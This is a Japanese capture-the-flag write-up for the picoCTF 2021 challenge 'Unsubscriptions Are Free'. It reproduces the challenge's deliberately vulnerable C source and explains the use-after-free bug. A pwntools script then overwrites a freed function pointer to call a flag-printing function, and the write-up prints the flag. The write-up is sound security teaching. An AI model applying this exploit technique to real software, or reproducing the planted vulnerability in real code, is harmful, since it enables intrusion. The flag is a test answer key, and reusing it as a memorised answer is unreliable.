picoCTF 2021 writeup Unsubscriptions Are Free

Unsubscriptions Are Free (Binary Exploitation)

Check out my new video-game and spaghetti-eating streaming channel on Twixer! program and get a flag. source nc mercury.picoctf.net 48259

添付ファイル
・vuln
・vuln.c

とりあえず、実行してみる。

$ nc mercury.picoctf.net 48259
Welcome to my stream! ^W^
==========================
(S)ubscribe to my channel
(I)nquire about account deletion
(M)ake an Twixer account
(P)ay for premium membership
(l)eave a message(with or without logging in)
(e)xit
s
OOP! Memory leak...0x80487d6
Thanks for subsribing! I really recommend becoming a premium member!
Welcome to my stream! ^W^
==========================
(S)ubscribe to my channel
(I)nquire about account deletion
(M)ake an Twixer account
(P)ay for premium membership
(l)eave a message(with or without logging in)
(e)xit
p
Membership pending... (There's also a super-subscription you can also get for twice the price!)
Welcome to my stream! ^W^
==========================
(S)ubscribe to my channel
(I)nquire about account deletion
(M)ake an Twixer account
(P)ay for premium membership
(l)eave a message(with or without logging in)
(e)xit

ソースコードを見る。

#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <ctype.h>

#define FLAG_BUFFER 200
#define LINE_BUFFER_SIZE 20


typedef struct {
	uintptr_t (*whatToDo)();
	char *username;
} cmd;

char choice;
cmd *user;

void hahaexploitgobrrr(){
 	char buf[FLAG_BUFFER];
 	FILE *f = fopen("flag.txt","r");
 	fgets(buf,FLAG_BUFFER,f);
 	fprintf(stdout,"%s\n",buf);
 	fflush(stdout);
}

char * getsline(void) {
	getchar();
	char * line = malloc(100), * linep = line;
	size_t lenmax = 100, len = lenmax;
	int c;
	if(line == NULL)
		return NULL;
	for(;;) {
		c = fgetc(stdin);
		if(c == EOF)
			break;
		if(--len == 0) {
			len = lenmax;
			char * linen = realloc(linep, lenmax *= 2);

			if(linen == NULL) {
				free(linep);
				return NULL;
			}
			line = linen + (line - linep);
			linep = linen;
		}

		if((*line++ = c) == '\n')
			break;
	}
	*line = '\0';
	return linep;
}

void doProcess(cmd* obj) {
	(*obj->whatToDo)();
}

void s(){
 	printf("OOP! Memory leak...%p\n",hahaexploitgobrrr);
 	puts("Thanks for subsribing! I really recommend becoming a premium member!");
}

void p(){
  	puts("Membership pending... (There's also a super-subscription you can also get for twice the price!)");
}

void m(){
	puts("Account created.");
}

void leaveMessage(){
	puts("I only read premium member messages but you can ");
	puts("try anyways:");
	char* msg = (char*)malloc(8);
	read(0, msg, 8);
}

void i(){
	char response;
  	puts("You're leaving already(Y/N)?");
	scanf(" %c", &response);
	if(toupper(response)=='Y'){
		puts("Bye!");
		free(user);
	}else{
		puts("Ok. Get premium membership please!");
	}
}

void printMenu(){
 	puts("Welcome to my stream! ^W^");
 	puts("==========================");
 	puts("(S)ubscribe to my channel");
 	puts("(I)nquire about account deletion");
 	puts("(M)ake an Twixer account");
 	puts("(P)ay for premium membership");
	puts("(l)eave a message(with or without logging in)");
	puts("(e)xit");
}

void processInput(){
  scanf(" %c", &choice);
  choice = toupper(choice);
  switch(choice){
	case 'S':
	if(user){
 		user->whatToDo = (void*)s;
	}else{
		puts("Not logged in!");
	}
	break;
	case 'P':
	user->whatToDo = (void*)p;
	break;
	case 'I':
 	user->whatToDo = (void*)i;
	break;
	case 'M':
 	user->whatToDo = (void*)m;
	puts("===========================");
	puts("Registration: Welcome to Twixer!");
	puts("Enter your username: ");
	user->username = getsline();
	break;
   case 'L':
	leaveMessage();
	break;
	case 'E':
	exit(0);
	default:
	puts("Invalid option!");
	exit(1);
	  break;
  }
}

int main(){
	setbuf(stdout, NULL);
	user = (cmd *)malloc(sizeof(user));
	while(1){
		printMenu();
		processInput();
		//if(user){
			doProcess(user);
		//}
	}
	return 0;
}

タイトルからも分かる通り、UAFを利用してhahaexploitgobrrr()を実行することでフラグが得られる。

Iでfree(user)し、Lのmalloc(8)でhahaexploitgobrrr()関数のアドレス0x80487d6を書き込むことで、その後にdoProcess(user);が実行され、UAFが発生する。

以下、実行コード。

python solve.py

from pwn import *

p = remote('mercury.picoctf.net', 48259)

p.sendlineafter(b"(e)xit\n", b"I")
p.sendlineafter(b"?\n", b"Y")
p.sendlineafter(b"(e)xit\n", b"L")
p.sendlineafter(b":\n", p32(0x80487d6))

p.interactive()

実行する。

$ python solve.py
[+] Opening connection to mercury.picoctf.net on port 48259: Done
[*] Switching to interactive mode
picoCTF{d0ubl3_j30p4rdy_cff1f12d}

フラグが得られた。

picoCTF{d0ubl3_j30p4rdy_cff1f12d}